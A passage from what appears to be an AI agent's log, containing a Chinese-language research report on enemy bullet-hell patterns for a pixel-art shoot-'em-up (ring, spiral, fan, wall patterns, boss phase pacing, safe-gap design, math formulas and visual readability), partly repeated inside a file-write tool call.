交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);\n - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。\n - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。\n- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。\n- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。\n\n### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)\n\n弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:\n\n- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);\n- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);\n- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);\n- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;\n- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):\n 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);\n 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;\n 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);\n 4. 每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。\n\n### 3.4 时间限制与弹幕压力\n\n- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。\n- **压力节奏(tension-release loop)**:\n - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);\n - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。\n- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):\n 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");\n 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;\n 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;\n 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;\n 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。\n\n### 3.5 东方式 Boss 战结构参考(综合)\n\n1. 开战:非符 1(轻、教学、环/扇)\n2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)\n3. 非符 2(中压,引入瞄准/引弹)\n4. 符卡 2(组合图案,增强型:随血量变密)→ ……\n5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)\n6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合\n\n---\n\n## 4. 数学原理与实现\n\n### 4.1 基础参数体系\n\n任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):\n\n| 参数 | 作用 | 备注 |\n|---|---|---|\n| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |\n| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |\n| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |\n| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |\n| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |\n| 加速度 | 节奏与曲线 | 减速弹、加速弹 |\n| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |\n| 寿命 | 消失时机 | 滞留弹=长寿命 |\n| 分裂条件 | 时间/距离/位置 | 分裂弹 |\n| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |\n\n### 4.2 角度与排列公式(常用)\n\n- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)\n- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)\n- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)\n- **网格**:对 `(i,j)` 行列给固定 x/y 间距\n- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)\n- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形\n- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)\n- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)\n\n### 4.3 速度变化(加速/减速弹幕)\n\nDanmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):\n\n1. 恒定速度直线(默认)\n2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)\n3. 速度在慢/快之间周期切换\n4. 两位置间往返\n5. 极坐标运动(径向+角速度)\n6. 波浪线(squiggly)\n7. 旋转运动方向(追踪/转向)\n8. 相对另一运动物体运动(随从弹/母舰子机)\n9. 任意参数方程轨迹\n\n工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。\n\n### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)\n\n- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。\n- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。\n- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。\n- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。\n- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。\n\n### 4.5 性能实现建议\n\n- **对象池(object pool)**:固定容量池 + 硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。\n- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。\n- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。\n- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。\n\n---\n\n## 5. 像素风格下的弹幕视觉设计\n\n### 5.1 子弹形状库\n\n**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。\n\n**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):\n\n| 类别 | 形状 | 用途/特点 | 像素建议 |\n|---|---|---|---|\n| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |\n| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |\n| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |\n| 星光形 | 星弹(大/小)、光弹 | 华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |\n| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |\n| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |\n\n**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。\n\n### 5.2 颜色编码\n\n- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。\n- **按属性/危险度编码**示例:\n - 红/橙 = 高速、致命、普通攻击;\n - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);\n - 紫/白 = 装饰弹、非致命、演出用;\n - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。\n - (以上为常见实践惯例,属综合常识,非单一文献结论。)\n- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。\n- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。\n\n### 5.3 子弹大小与可躲避性\n\n- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。\n- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。\n- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。\n- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。\n\n### 5.4 发光/粒子效果在像素风格中的处理\n\n- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。\n- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。\n- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。\n- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。\n- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。\n- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。\n\n### 5.5 弹幕层级的视觉优先级\n\n绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):\n\n1. 背景/场景层\n2. 地面敌人/可破坏物\n3. 道具、点数\n4. 玩家射击、爆炸特效(半透明)\n5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**\n6. 玩家机绘 + 判定点指示(聚焦时)\n7. UI(血量/符卡名/时间)\n\n理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。\n\n### 5.6 像素风格弹幕设计清单(落地用)\n\n- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);\n- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;\n- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;\n- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;\n- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);\n- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);\n- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;\n- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。\n\n---\n\n## 6. 对本项目(像素风弹幕游戏)的落地建议汇总\n\n1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。\n2. **难度曲线**:按\"非符(轻)→ 符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。\n3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。\n4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。\n5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。\n\n---\n\n## 7. 信息来源与置信度说明\n\n按信息诚实原则,对所有关键结论标注来源与置信度:\n\n**(A)本轮调研直接引用的网页来源(置信度高,可复核):**\n\n1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en\n2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html\n3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html\n4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡\n5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=\n6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)\n7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide\n8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo\n11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything\n12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku\n13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup\n14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md\n15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/\n17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。\n\n**(B)置信度说明:**\n\n- 上述 (A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。\n- \"经典游戏例子\"中标注为\"常识\"的条目(如\"东方各作螺旋遍地\"\"雅雅…\"),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。\n- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。\n- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。\n\n---\n\n## 附录 A:参考链接汇总\n\n- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)\n- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)\n- https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)\n- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)\n- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)\n- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)\n- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)\n- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)\n- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)\n- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)\n- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)\n- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)\n- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)\n- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)\n- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)\n- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)\n- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)\n- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)\n- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)\n- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)\n\n*报告完*"}, "ts": 1787459605714}, {"type": "progress", "id": "call_221c64a46fc24b6eb696fcd8", "tool": "write_file", "status": "completed", "args": {"file_path": "research/bullet_patterns/bullet_pattern_research.md", "content": "# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告\n\n> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。\n> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。\n> **调研时间**:2026-08-23\n> **交付目录**:`research/bullet_patterns/`\n\n---\n\n## 0. 摘要(TL;DR)\n\n- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。\n- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。\n- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。\n- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。\n- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。\n\n---\n\n## 1. 背景认知:弹幕射击与普通 STG 的区别\n\n| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |\n|---|---|---|\n| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |\n| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |\n| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |\n| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |\n| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |\n\n关键概念:\n\n- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。\n- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。\n- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。\n- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。\n\n---\n\n## 2. 经典弹幕模式分类\n\n> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。\n> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。\n> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。\n\n### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")\n\n- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)\n- **数学与实现要点**:\n ```\n n = 子弹数; base = 基准角\n for i in 0..n-1:\n angle = base + i * (360° / n)\n vx = speed * cos(angle); vy = speed * sin(angle)\n ```\n 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)\n- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。\n- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。\n\n### 2.2 螺旋弹幕(Spiral)\n\n- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)\n- **数学与实现要点**:\n - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。\n - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。\n - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。\n- **经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。\n- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。\n\n### 2.3 扇形弹幕(Fan / Wedge)\n\n- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)\n- **数学与实现要点**:\n ```\n n = 子弹数; spread = 扇形总张角; aim = 瞄准角\n step = spread / (n - 1)\n start = aim - spread / 2\n for i in 0..n-1:\n angle = start + i * step\n ```\n (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")\n- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。\n- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。\n\n### 2.4 直线弹幕(Line / Stream / Wall)\n\n- **视觉描述**:\n - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。\n - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。\n- **数学与实现要点**:连续发射(fire rate 控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。\n- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 